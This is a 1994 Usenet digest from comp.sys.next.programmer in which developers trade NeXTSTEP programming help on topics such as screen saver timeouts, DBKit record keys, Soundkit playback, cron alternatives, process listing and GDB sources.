Newsgroups: comp.sys.next.programmer From: rfi@jeans.fokus.gmd.de (Robert Fischer) Subject: Re: Login screen saver timeout? Message-ID: <1994May26.142731.5169@fokus.gmd.de> Sender: news@fokus.gmd.de (News system) Organization: GMD-Fokus References: <OTTO.94May26163743@tukki.jyu.fi> Date: Thu, 26 May 1994 14:27:31 GMT In article <OTTO.94May26163743@tukki.jyu.fi> otto@tukki.jyu.fi (Otto J. Makela) writes: > I've tried searching all the usual documentation (manuals, NeXTanswers etc.) > for an answer to this, but to no avail. So, I'm asking a distributed > information network with gigabytes of infomation (ie. the net): > > In NeXTstep 3.2, how do I change the login screen saver timeout? > I find the default (10 minutes?) to be much too long, I think > something around one minute would be much better. > Try this in a commandline: >> su root >> dwrite loginwindow TimeToDim 60 >> exit To make this change work, you have to - log out, - log in as pseudo user 'exit' (no passwd), - et voila. Bye, Robert. -- ------------------------------------------------------------------------ Robert Fischer @ GMD-Fokus -------- __o ------- _`\<,_ fischer@fokus.gmd.de ------- (*)/ (*) ## NeXT-Mail welcome ## ------------------------------------------------------------------------
From: jason@dbkit.com (Jason Beaver) Newsgroups: comp.sys.next.programmer Subject: Re: Login screen saver timeout? Date: 26 May 1994 14:26:09 GMT Organization: OARnet Distribution: usa Message-ID: <2s2bi1$j66@ns.oar.net> References: <OTTO.94May26163743@tukki.jyu.fi> > In NeXTstep 3.2, how do I change the login screen saver timeout? > I find the default (10 minutes?) to be much too long, I think > something around one minute would be much better. > issue the following command as root: dwrite loginwindow TimeToDim num_seconds with num_seconds replaced with the number of idle seconds to wait before running the screen saver. -- ----- Jason Beaver Software Engineer, Vanguard Software, Corp. Phone: (513) 755-9929 Fax: (513) 755-9980 jason@dbkit.com (NeXTMail accepted)
From: hamps@richibucto.jpl.nasa.gov (John B. Hampshire II) Newsgroups: comp.sys.next.programmer Subject: Re: changing target of menu cell Date: 26 May 1994 15:50:33 GMT Organization: JPL Spacecraft Telecommunication Equipment Message-ID: <2s2gg9$df8@marsupial.jpl.nasa.gov> Thanks to Alexander (Atze) Spohr for the solution. He wrote: ==== Can your view becomeFirstResponder? Then try [[myView window] makeFirstResponder: myView]; Do not fiddle around with the menuCells, just become the first responder to be the automagic target of them :-) ==== This did the trick. It turns out I had been trying to make myView first responder from ANOTHER window and the menu, neither of which are the parent window for myView. -John -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9G-W:7-S($AE;'9E=&EC83M<9C%< M9FUO9&5R;B!#;W5R:65R.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I[7&-O;&]R M=&)L.UQR960P7&=R965N,%QB;'5E,#M]"EQP87)D7'1X-3(P7'1X,3`V,%QT M>#$V,#!<='@R,3(P7'1X,C8V,%QT>#,R,#!<='@S-S(P7'1X-#(V,%QT>#0X M,#!<='@U,S(P7&8P7&(P7&DP7'5L;F]N95QF<S(T7&9C,5QC9C$@5&AA;FMS M('1O($%L97AA;F1E<B`H071Z92D@4W!O:'(@9F]R('1H92!S;VQU=&EO;BX@ M($AE('=R;W1E.EP*"EQP87)D7'1X,3$U,EQT>#(S,#1<='@S-#4V7'1X-#8P M.%QT>#4W-C!<='@V.3$R7'1X.#`V-%QT>#DR,39<='@Q,#,V.%QT>#$Q-3(P M7&8Q7&9C,%QC9C`@/3T]/5P*0V%N('EO=7(@=FEE=R!B96-O;65&:7)S=%)E M<W!O;F1E<C\@5&AE;B!T<GE<"EM;;7E6:65W('=I;F1O=UT@;6%K949I<G-T M4F5S<&]N9&5R.B!M>59I97==.UP*1&\@;F]T(&9I9&1L92!A<F]U;F0@=VET M:"!T:&4@;65N=4-E;&QS+"!J=7-T(&)E8V]M92!T:&4@9FER<W0@<F5S<&]N M9&5R('1O(&)E('1H92!A=71O;6%G:6,@=&%R9V5T(&]F('1H96T@.BTI7`H] M/3T]7`I<"B`@5&AI<R!D:60@=&AE('1R:6-K+B`@270@='5R;G,@;W5T($D@ M:&%D(&)E96X@=')Y:6YG('1O(&UA:V5<"FUY5FEE=R!F:7)S="!R97-P;VYD M97(@9G)O;2!!3D]42$52('=I;F1O=R!A;F0@=&AE(&UE;G4L(&YE:71H97)< M"F]F('=H:6-H(&%R92!T:&4@<&%R96YT('=I;F1O=R!F;W(@;7E6:65W+EP* ,7`HM2F]H;EP*"GT* `
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: Re: Using alpha for background of cells within a matrix? Date: 26 May 1994 12:24:34 -0500 Organization: UTexas Mail-to-News Gateway Sender: nobody@cs.utexas.edu Message-ID: <9405261047.AA00898@flexus> LS, Just to note (before anyone else does) that Gerd Knops's suggestion really isn't "flawed", if properly interpreted, just less easy, and if you want partially transparent text (would you?) it may be the only option. Also, probably more will need to be done than just overriding -[ButtonCell drawInside:inView]. I suppose it is documented somewhere how to simulate compositing when NXDrawingStatus==NX_PRINTING, so I shouldn't have sneaked this question in... Raf foot-in-mouth Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, % or .uucp (? I should test this again) PS: I have by now been informed what "I put my foot in my mouth" means. It seems that's what I keep doing. I then make some clumsy attempt to set things right...
From: Christopher_Lane@Med.Stanford.EDU Newsgroups: comp.sys.next.programmer Subject: Re: Getting the icon for a file Date: 26 May 1994 17:49:17 GMT Organization: Stanford University Distribution: usa Message-ID: <2s2net$htd@nntp2.Stanford.EDU> References: <2s2a71$i3s@ns.oar.net> In article <CqDn6y.5HJ@agedwards.com> cleelacj@agedwards.com (Chris Cleeland) writes: > > I know about the WorkspaceRequest protocol and getIconForFile: message, > but that only works if the file exists on the local system. The file > that I'm interested in is NOT on the local system --- it's across the > network somewhere (no, NFS is not an option). Contrary to the reply to the contrary, I've also got an application that tries to get the icons of non-existent files (a browser onto a catalog of files out on tape) and it stopped working with the new 'getIconForFile:' method for getting icons (worked with the previous incarnation.) The solution I use if the file name in question has an extension is to first try 'getIconForFile:' (just in case) and when it fails, I create a temporary file (using mktemp) on /tmp with that extension, call 'getIconForFile:' on it, and then unlink the temporary file. If the file you want an icon for doesn't have an extension, then you have to figure it out based on whether you believe it's a directory, executable, etc. This is independent of 'getIconForFile:' which can't know these things. - Christopher
From: brown@bibliotech.com (Robert E. Brown) Newsgroups: comp.sys.next.programmer Subject: GDB source code Date: 26 May 1994 18:46:24 GMT Organization: Bibliotech, Inc. Distribution: world Message-ID: <BROWN.94May26144624@grettir.bibliotech.com> I would like source code for the version of GDB that Next ships with NextStep developer 3.2. Is the source available for FTP on the net somewhere? Has the latest version of GNU GDB (4.12 perhaps?) been ported to the Next? bob
From: joe@retina.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: positionForRecordKey weirdness? Date: 26 May 1994 18:47:40 GMT Organization: Dept. of Neuroscience, U. of Pennsylvania Distribution: world Message-ID: <2s2qsc$kad@netnews.upenn.edu> Hi, I don't understand what the "positionForRecordKey" method is doing. As far as I can tell it is not behaving the way it should, as in the example given in "concepts/DBKit/". Here the "id" property is the key property, as indicated in DBModeler. The following code fragment: List *keyList; DBRecordList *rList; DBValue *aValue; id currProp,keyProp; keyList = [rList getKeyProperties: keyList]; for(i=0;i<[keyList count]; i++) { currProp = [keyList objectAt: i]; fprintf(stderr,"key: %s\n",[currProp name]); } keyProp = [keyList objectAt: 0]; [rList getValue: aValue forProperty: keyProp at: 4 ]; fprintf(stderr,"Value: %s\n", [aValue stringValue]); fprintf(stderr,"Index: %d\n", [rList positionForRecordKey: aValue]); Produces this output: key: id Value: faaaaaaa Index: -1 In other words, the right key value, but the wrong index. This code fragment: [rList getRecordKeyValue: aValue at: 4 ]; fprintf(stderr,"Value: %s\n", [aValue stringValue]); fprintf(stderr,"Index: %d\n", [rList positionForRecordKey: aValue]); Produces this output: Value: (null pointer) Index: 4 In other words, the wrong key value, but the right index. Can someone tell me what is going on? Thanks. Joe Panico joe@retina.anatomy.upenn.edu
Newsgroups: comp.sys.next.programmer From: woo@ornl.gov (John W. Wooten) Subject: Re: crontab Message-ID: <1994May26.190737.16743@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory References: <1994May26.152649.171216@eros.embl-heidelberg.de> Date: Thu, 26 May 1994 19:07:37 GMT In article <1994May26.152649.171216@eros.embl-heidelberg.de> writes: > On SGI or SUN there is a commant called crontab > > ---------------- > NAME > crontab - user crontab file > > SYNOPSIS > crontab [file] > crontab -r > crontab -l > > Is there any equivalent for NS? > Yes, By this I mean that there is a crontab, but users can't submit to it. BUT you can run at, viz. woonext:woo 65 % man at AT(1) UNIX Programmer's Manual AT(1) NAME at - execute commands at a later time SYNOPSIS at [ -c ] [ -s ] [ -m ] time [ day ] [ file ] DESCRIPTION At spools away a copy of the named file to be used as input to sh(1) or csh(1). If the -c flag (for (csh(1))) or the -s flag (for (sh(1))) is specified, then that shell will be - - - - - - - - - J. W. Wooten
From: xepo@csd4.csd.uwm.edu (Scott R Violet) Newsgroups: comp.sys.next.programmer Subject: Re: How to determinate what apps are running (only NEXTSTEP ones) Date: 26 May 1994 20:43:26 GMT Organization: Computing Services Division, University of Wisconsin - Milwaukee Distribution: usa Message-ID: <2s31leINN5up@uwm.edu> References: <2ro2ejINN4im@uwm.edu> <2s1o2n$s5f@nic-nac.CSU.net> In article <2s1o2n$s5f@nic-nac.CSU.net> eps@cs.sfsu.edu writes: [EPS tells how WM gets info about current processes] >Try asking a different/better question. Ok, I understand that WM can get at that info easily as it spawns them, but how about ProcessMonitor? How does it get that information? I want to be able to get this information in my own app. Thanks, -- -Scott Violet (xepo@csd4.csd.uwm.edu)
From: chris@nice.usergroup.ethz.ch (Christian Limpach) Newsgroups: comp.sys.next.programmer Subject: Re: crontab Date: 26 May 1994 20:52:20 GMT Organization: welcome to nowhere... Message-ID: <CHRIS.94May26225220arkin@nice.usergroup.ethz.ch> References: <1994May26.152649.171216@eros.embl-heidelberg.de> In-reply-to: tuparev@EMBL-Heidelberg.DE's message of 26 May 94 15:26:48 +0100 Originator: ARKIN@nice In article <1994May26.152649.171216@eros.embl-heidelberg.de> tuparev@EMBL-Heidelberg.DE (Georg Tuparev) writes: > On SGI or SUN there is a commant called crontab > Is there any equivalent for NS? yes, vixie cron. Look on the usenet archives, it was posted to some comp.sources.* group... christian
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: GDB source code Date: Thu, 26 May 1994 18:01:33 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Distribution: world Message-ID: <IhtFkxu00WBMQ6sO0v@andrew.cmu.edu> In-Reply-To: <BROWN.94May26144624@grettir.bibliotech.com> Excerpts from netnews.comp.sys.next.programmer: 26-May-94 GDB source code by Robert E. Brown@bibliote > I would like source code for the version of GDB that Next ships with > NextStep developer 3.2. Is the source available for FTP on the net > somewhere? It's available on the developer CD ROM in: /NextCD/Packages/GNUSource.pkg (I believe) > Has the latest version of GNU GDB (4.12 perhaps?) been ported to the Next? Several people have tried and I have not heard of anyone succeeding. I would strongly imagine that using NeXT's version of gdb will produce better results for most purposes, anyway. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: otto@tukki.jyu.fi (Otto J. Makela) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer Subject: Re: Login screen saver timeout? Followup-To: poster Date: 27 May 1994 01:47:27 +0300 Organization: University of Jyvaskyla, Finland Sender: otto@network.cc.jyu.fi Message-ID: <OTTO.94May27014725@tukki.jyu.fi> References: <OTTO.94May26163743@tukki.jyu.fi> In-reply-to: otto@tukki.jyu.fi's message of 26 May 1994 16:37:54 +0300 In article <OTTO.94May26163743@tukki.jyu.fi> otto@tukki.jyu.fi (Otto J. Makela) writes: In NeXTstep 3.2, how do I change the login screen saver timeout? I find the default (10 minutes?) to be much too long, I think something around one minute would be much better. Thank you, Ladies and Gentlemen! As usual, the net came thru within hours. The solution is (as Mr. Erik Kay from NeXT amongst others kindly explained): As root, dwrite loginwindow TimeToDim seconds. So for one minute: # dwrite loginwindow TimeToDim 60 The default is actually 30 minutes currently. -- /* * * Otto J. Makela <otto@jyu.fi> * * * * * * * * * * * * * * * * * * */ /* Phone: +358 41 613 847, BBS: +358 41 211 562 (V.32bis/USR-HST,24h/d) */ /* Mail: Cygn.k.7 E 46/FIN-40100 Jyvaskyla/Finland, ICBM: 62.14N 25.44E */ /* * * Computers Rule 01001111 01001011 * * * * * * * * * * * * * * * * */
From: otto@tukki.jyu.fi (Otto J. Makela) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer Subject: cmsg cancel <OTTO.94May26163743@tukki.jyu.fi> Control: cancel <OTTO.94May26163743@tukki.jyu.fi> Date: 27 May 1994 01:47:35 +0300 Organization: University of Jyvaskyla, Finland Sender: otto@network.cc.jyu.fi Message-ID: <OTTO.94May27014733@tukki.jyu.fi> -- /* * * Otto J. Makela <otto@jyu.fi> * * * * * * * * * * * * * * * * * * */ /* Phone: +358 41 613 847, BBS: +358 41 211 562 (V.32bis/USR-HST,24h/d) */ /* Mail: Cygn.k.7 E 46/FIN-40100 Jyvaskyla/Finland, ICBM: 62.14N 25.44E */ /* * * Computers Rule 01001111 01001011 * * * * * * * * * * * * * * * * */
Newsgroups: comp.sys.next.programmer From: jolly@cis.uni-muenchen.de (Patrick Stein (Jolly)) Subject: generic FaxDriver Message-ID: <CqF6w9.D3z@netnews.asu.edu> Sender: jolly@user@cis.uni-muenchen.de (Patrick Stein (Jolly)) Organization: CIS, University of Munich Date: Thu, 26 May 1994 10:21:44 MST Hiho ! Could anyone please be so kind and mail me that generic fax driver source from NeXT - which is out there, somewhere. I need it for a Free/Sleep-ware product. And I even won't use it - It's just that I see how a few things work - I hate reverse engeneering on the /usr/lib/NextPrinter directory. -- so long - jolly ======================================================= Jolly alias Patrick Stein = jolly@cis.uni-muenchen.de Tel: ++49 +89 -211 06 70 (priv) +89 -950 57 34 " Lacerations echo in the mouth's open erotic sky - where dance together the lost frenzies of rythm and an imploring im/mobility. " - g.jones =======================================================
From: peter@bert.psyc.upei.ca (Beaker) Newsgroups: comp.sys.next.programmer Subject: Soundkit question Date: 27 May 1994 02:07:03 GMT Organization: University of Prince Edward Island, Charlottetown, PEI Canada Distribution: world Message-ID: <2s3kk7$csk@atlas.cs.upei.ca> I'm trying to write a function which loops until a Sound object has finished playing. I know the 'normal' way to time tasks to the end of a Sound is to use a delegate, but this is not appropriate for my application. I've tried the following code, but it doesn't work. - play:sender { id snd; snd = [[Sound findSoundFor:"Bullfrog"] setDelegate:self]; printf("Starting to play\n"); [snd play]; while([snd status] == NX_SoundPlaying) NXPing(); printf("Done playing\n"); return self; } The while loop just cycles indefinetely, long after the Sound is finished. Furthermore, it doesn't call my -didPlay:sender method when it is finished. (It DOES call the -disPlay:sender method if I remove the loop.) What should I be doing differently? ---- Peter 'Beaker' Burka |finger peter@bert.psyc.upei.ca U.P.E.I., Prince Edward Island, Canada |for PGP pburka@upei.ca | GCS d--- p--- c++ l u+++ e+(*) m--- s+ n- h* f- g+ w+ t+ r-- y-(*)
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: GDB source code In-Reply-To: brown@bibliotech.com's message of 26 May 1994 18:46:24 GMT To: brown@bibliotech.com (Robert E. Brown) Message-ID: <CEDMAN.94May26163400@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <BROWN.94May26144624@grettir.bibliotech.com> Date: Thu, 26 May 1994 20:34:00 GMT In article <BROWN.94May26144624@grettir.bibliotech.com> brown@bibliotech.com (Robert E. Brown) writes: I would like source code for the version of GDB that Next ships with NextStep developer 3.2. Is the source available for FTP on the net somewhere? Just check your NeXTstep 3.2 developer CD under /NextDeveloper/Source/GNU/debug. Has the latest version of GNU GDB (4.12 perhaps?) been ported to the Next? No. Carl Edman
Newsgroups: comp.sys.next.programmer From: randy@id.com (Randall Carter Tidd) Subject: Re: Is there any PD FAX program for NeXT ? Message-ID: <CqFwI4.LKy@foonalagoona.id.com> Sender: randy@foonalagoona.id.com (Randall Carter Tidd) Organization: Intrinsic Development Corporation References: <94May23.135140@EE.Stanford.EDU> Date: Fri, 27 May 1994 02:34:51 GMT In article <94May23.135140@EE.Stanford.EDU> park@isl.Stanford.EDU (Sang Ju Park) writes: > Hello. > > Is there any public domain fax send/receive porgram(s) available > for NeXT ? Check out AM -- "Answering Machine", it's on the archives. Allows you to use your ZyXel modem as an answering machine as well as giving fax support. Also FlexFax which you can get from the uunet archive, and the GNU Fax software available from the GNU archives (prep.ai.mit.edu).
Newsgroups: comp.sys.next.programmer Subject: NumberCrunchingfromNeXT Message-ID: <1994May26.175553.20434@cc.usu.edu> From: mike@hobbs.chem.usu.edu (mike emmel) Date: 26 May 94 17:55:53 MDT First I'm not a programmer unless Fortran Counts. I'm a Grad Student in Theoretical Chemistry. We have three Next machines and a Risc6000 for number crunching. (To compare Xwindows with NeXT nobody uses the Risc machine except remotely from the NeXT.). I would like to develop a program that is user friendly for numbercrunching and can display data graphiclly on the fly. I've spent six months studying Objective C and am making some headway. I would now like to ask for help. I have a lot of mundane (sounds better than stupid) questions to ask. If anybody is interested in giving a little expert advice please send me your email address. I would appreciate it and maybe my boss will feel better about this if I had some results. In fact here are some sample questions to whet the appetite. Does anybody have math objects for free are the commercially available and can they be run remotely on the Risc if I get GNU Objective C running on it or simpler how do you integrate a remote c program into a object? Should I just pass messages if so whats the best method? If our grant goes through this fall and this project works were going to buy a bunch of suns runnig Nextstep if its finally ported by then. P.S. If this works out then the resulting application will be freely distibuted. Email adress mike@hobbs.chem.usu.edu Thanks Mike Emmel
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: crontab Date: 27 May 1994 07:16:22 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May27081622@steffi.demon.co.uk> References: <1994May26.152649.171216@eros.embl-heidelberg.de> <1994May26.190737.16743@ornl.gov> To: woo@ornl.gov (John W. Wooten) In-reply-to: woo@ornl.gov's message of Thu, 26 May 1994 19:07:37 GMT <woo@ornl.gov> writes: >In article <1994May26.152649.171216@eros.embl-heidelberg.de> writes: >>On SGI or SUN there is a commant called crontab >> >>---------------- >>NAME >>crontab - user crontab file >> >>SYNOPSIS >>crontab [file] >>crontab -r >>crontab -l >> >>Is there any equivalent for NS? >> >Yes, >By this I mean that there is a crontab, but users can't submit to it. >BUT you can run at, viz. >woonext:woo 65 % man at >AT(1) UNIX Programmer's Manual AT(1) >NAME > at - execute commands at a later time >SYNOPSIS > at [ -c ] [ -s ] [ -m ] time [ day ] [ file ] >DESCRIPTION > At spools away a copy of the named file to be used as input > to sh(1) or csh(1). If the -c flag (for (csh(1))) or the -s > flag (for (sh(1))) is specified, then that shell will be >- - - - - - - - - >J. W. Wooten That's the sys V crontab... which is available for NS and other quality unix boxes in the form of Vixie cron.. Go grab it I'm running 3.0 and it works fine. -- "Real programmers don't create classes. They build heirarchies" (ASCII for text only messages)
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: How to determinate what apps are running (only NEXTSTEP ones) Date: 27 May 1994 09:12:05 GMT Organization: San Francisco State University Distribution: usa Message-ID: <2s4dh5$jlq@nic-nac.CSU.net> References: <2ro2ejINN4im@uwm.edu> <2s1o2n$s5f@nic-nac.CSU.net> <2s31leINN5up@uwm.edu> In article <2s31leINN5up@uwm.edu> xepo@csd4.csd.uwm.edu (Scott R Violet) writes: >Ok, I understand that WM can get at that info easily as it spawns >them, but how about ProcessMonitor? How does it get that information? First it needs a list of active process IDs. Since ProcessMonitor doesn't run as root, it can't get at that information directly, so it popen()s /usr/lib/fastps and fscanf()s for integers. Then it uses task_by_unix_pid() to (1) get task kernel ports for later vm_read()s, and (2) verify that the process is "interesting." Since task_by_unix_pid() will fail if the process belongs to another user [and the caller is not the superuser], this should weed out system processes, other users' telnet sessions, etc. This is important because what follows is expensive! ProcessMonitor examines each candidate task's virtual address space looking for a plausible Mach-O header. If it finds one, it uses getsectbynamefromheader() to locate the (__ICON,__header) section--that's the key to determining whether an executable is a "NEXTSTEP Application." [This is whatever was in the the *.iconheader file when its project was built.] It pulls out the first "F" line and scans it to get the application name (discarding any .app suffix). If ProcessMonitor doesn't already have an image with that name, it reads the contents of the (__ICON, app) section into a new NXImage and names it accordingly (or uses defaultappicon should that fail for some reason). Finally, it uses the [undocumented!] table() call to get the process' command name. Then it sorts its process list. -=EPS=-
Newsgroups: comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: How to determinate what apps are running (only NEXTSTEP ones) Message-ID: <1994May27.094635.1102@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <2ro2ejINN4im@uwm.edu> <2s1o2n$s5f@nic-nac.CSU.net> <2s31leINN5up@uwm.edu> Distribution: usa Date: Fri, 27 May 1994 09:46:35 GMT In article <2s31leINN5up@uwm.edu> xepo@csd4.csd.uwm.edu (Scott R Violet) writes: >In article <2s1o2n$s5f@nic-nac.CSU.net> eps@cs.sfsu.edu writes: >[EPS tells how WM gets info about current processes] > >>Try asking a different/better question. > >Ok, I understand that WM can get at that info easily as it spawns >them, but how about ProcessMonitor? How does it get that information? How about doing a "ps axc", then parse each line in turn, calling NXPortNameLookup to check if the process name is registered? Dave Griffiths
From: ken@nika.com (Ken Pelletier) Newsgroups: comp.sys.next.programmer Subject: Re: NumberCrunchingfromNeXT Date: 27 May 1994 12:37:27 GMT Organization: MCSNet Services Message-ID: <2s4pi7$9uu@News1.mcs.com> References: <1994May26.175553.20434@cc.usu.edu> In article <1994May26.175553.20434@cc.usu.edu> writes: > Does anybody have math objects for free are the commercially available and > can they be run remotely on the Risc if I get GNU Objective C running on > it > or simpler how do you integrate a remote c program into a object? > > Should I just pass messages if so whats the best method? Mike, My answer depends on the answer to your first question here. If you were to write your own server on AIX, you could create Objective-C classes that use either Sun ONC RPC or sockets for communication to your server. Once you've got the plumbing together, your NS client apps could deal transparently with the server. Two books I'd recommend are: "UNIX Network Programming" by Stevens and "Power Programming With RPC" by Bloomer. email me if you have questions. I've got an RS/6000 and a NeXT, so I might be able to help get things going. -- Ken Pelletier (ken@nika.com) NiKA Software, Inc. Chicago, IL
From: M.Crawford@dcs.shef.ac.uk Newsgroups: comp.sys.next.programmer Subject: Re: Soundkit question Date: 27 May 1994 07:39:30 -0500 Organization: UTexas Mail-to-News Gateway Sender: nobody@cs.utexas.edu Message-ID: <940527133358.5954AACUM.malc@jeeves> > I'm trying to write a function which loops until a Sound object has > finished playing. I know the 'normal' way to time tasks to the > end of a Sound is to use a delegate, but this is not appropriate for > my application. > > I've tried the following code, but it doesn't work. > > - play:sender > { > id snd; > > snd = [[Sound findSoundFor:"Bullfrog"] setDelegate:self]; > printf("Starting to play\n"); > [snd play]; > > while([snd status] == NX_SoundPlaying) NXPing(); > printf("Done playing\n"); > > return self; > } > I wonder if the problem might have something to do with that: > while([snd status] == NX_SoundPlaying) NXPing(); ...? From the docs on Sound... play - (int)play Initiates playback of the Sound. The method returns immediately while the playback continues asynchronously in the background. The playback ends when the Sound receives the stop message, or when its data is exhausted. When playback starts, willPlay: is sent to the Sound's delegate; when it stops, didPlay: is sent. An error code is returned. ***Warning: For this method to work properly, the main event loop must not be blocked.**** I'd be interested in any "real" answers to this, but as a workaround you could try: #define SND_PLAY_TAG 4 #define SND_PLAY_PRIORITY 4 - play:sender { id snd; SNDSoundStruct *sndStruct; snd = [[Sound findSoundFor:"Bullfrog"] setDelegate:self]; sndStruct = [snd soundStruct]; printf("Starting to play\n"); SNDStartPlaying(sndStruct, SND_PLAY_TAG, SND_PLAY_PRIORITY, 0, SND_NULL_FUN, SND_NULL_FUN); SNDWait(SND_PLAY_TAG); printf("Done playing\n"); return self; } The delegate method won't be called, though... (I presume the reason for the > while([snd status] == NX_SoundPlaying) NXPing(); call is that you don't want the Sound to disappear before it's finished playing...? I wonder if it would anyway... you don't free it at the end of your method... is this what the delegate method does?) Have fun, mmalcolm. SHeffield Auditory Group | Vox : (+44) 742 768555 ext 5569 Dept. Computer Science | direct : 825569 Sheffield University | Fax : (+44) 742 780972 Regent Court | Email: malc@dcs.shef.ac.uk 211 Portobello Street | (NeXTMail, SunMail, MIME welcome) Sheffield S1 4DP, UK. | (Read-Receipts discouraged :-)
Newsgroups: comp.sys.next.programmer From: pelletk@il.us.swissbank.com (Ken Pelletier) Subject: Re: positionForRecordKey weirdness? Message-ID: <1994May27.152338.1661@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <2s2qsc$kad@netnews.upenn.edu> Date: Fri, 27 May 1994 15:23:38 GMT Joe Panico writes > I don't understand what the "positionForRecordKey" method is doing. > As far as I can tell it is not behaving the way it should, as in the example > given in "concepts/DBKit/". > [code sample for deleted] You're not alone on this one! I pulled out most of what little hair I have left trying to solve this one. I don't know if this is a bug (I hope so), but it seems that you can't just pass any ol' DBValue into that method; it must be set up using the getRecordKeyValue:at: method of DBRecordList. Of course, this means that you've got to know the index of the record (rather than just the key value), to get the index of the record. I couldn't seem to get it to work any other way. Eg: [myRecordList getRecordKeyValue:keyValue at:index]; This *will* give you a DBValue (keyValue) suitable for finding the corresponding record with: [myRecordList positionForRecordKey:keyValue] Can anyone shed any more light on this? -- Ken Pelletier ken_pelletier@swissbank.com
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: positionForRecordKey weirdness? Message-ID: <1994May27.160536.3943@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <2s2qsc$kad@netnews.upenn.edu> Date: Fri, 27 May 94 16:05:36 GMT In article <2s2qsc$kad@netnews.upenn.edu> joe@retina.anatomy.upenn.edu (Joe Panico) writes: > > Hi, > > I don't understand what the "positionForRecordKey" method is doing. > As far as I can tell it is not behaving the way it should, as in the example > given in "concepts/DBKit/". > Here the "id" property is the key property, as indicated in DBModeler. > [...] > [rList getValue: aValue > forProperty: keyProp > at: 4 ]; > fprintf(stderr,"Value: %s\n", > [aValue stringValue]); > fprintf(stderr,"Index: %d\n", > [rList positionForRecordKey: aValue]); > > Produces this output: > > key: id > Value: faaaaaaa > Index: -1 > > In other words, the right key value, but the wrong index. > > This code fragment: > > [rList getRecordKeyValue: aValue > at: 4 ]; > > fprintf(stderr,"Value: %s\n", > [aValue stringValue]); > fprintf(stderr,"Index: %d\n", > [rList positionForRecordKey: aValue]); > > Produces this output: > > Value: (null pointer) > Index: 4 > > In other words, the wrong key value, but the right index. > > Can someone tell me what is going on? I'll try, even if I don't know if it is a bug or not. getRecordKeyValue: returns a DBGenericRecord in [aValue objectValue]. This is a private NeXT object. So don't use this method if you want the key_value_. positionForRecordKey: seems to depend on DBGenericRecords and not on key values. I do not know what this methods are for. But I am sure that the DBGenericRecord holds the key value... somewhere. The problem NeXT was facing might be the usage of compound keys. If you have more than one key in a table you have to have a mechanism to get them all at once. Besides, this is what the documentation mentions. ("Places the value of the current record's key property (or properties) into aValue.") ^^^^^^^^^^^^^ My tip: write a category with methods like getKeyValue: and positionForKey: and return the real values. I do it this way. Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@DART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
From: jacobsen@arundel.doit.wisc.edu Newsgroups: comp.sys.next.programmer Subject: Re: GDB source code Date: 27 May 1994 16:27:56 GMT Organization: Division of Information Technology Message-ID: <2s572c$po5@news.doit.wisc.edu> References: <IhtFkxu00WBMQ6sO0v@andrew.cmu.edu> In article <IhtFkxu00WBMQ6sO0v@andrew.cmu.edu> Charles William Swiger <infidel+@CMU.EDU> writes: <<MUNCH>> > > Has the latest version of GNU GDB (4.12 perhaps?) been ported to the Next? > > Several people have tried and I have not heard of anyone succeeding. I > would strongly imagine that using NeXT's version of gdb will produce > better results for most purposes, anyway. Unfortunately, it does not provide better results if you are using gcc 2.5.8 which one would use if one needed templates. I haven't been able to debug (using anything other than couts) for months. Right now I tar and gzip the source, bring up a slip connection, ftp to a sun, gunzip, untar define sun, undefine NeXT, makedepend and then gdb. This has addded a considerable amount of time to my hack frantically and debug cycle. Any suggestions as to how I can get better C++ support on my NeXT while still being able to use a debugger will be appreciated. -E --- Erik Jacobsen jacobsen@cae.wisc.edu > > -Chuck > > > Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" > --------------------------------------------+ "we are merely players...." > AMS & normal mail: infidel@cmu.edu | > NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
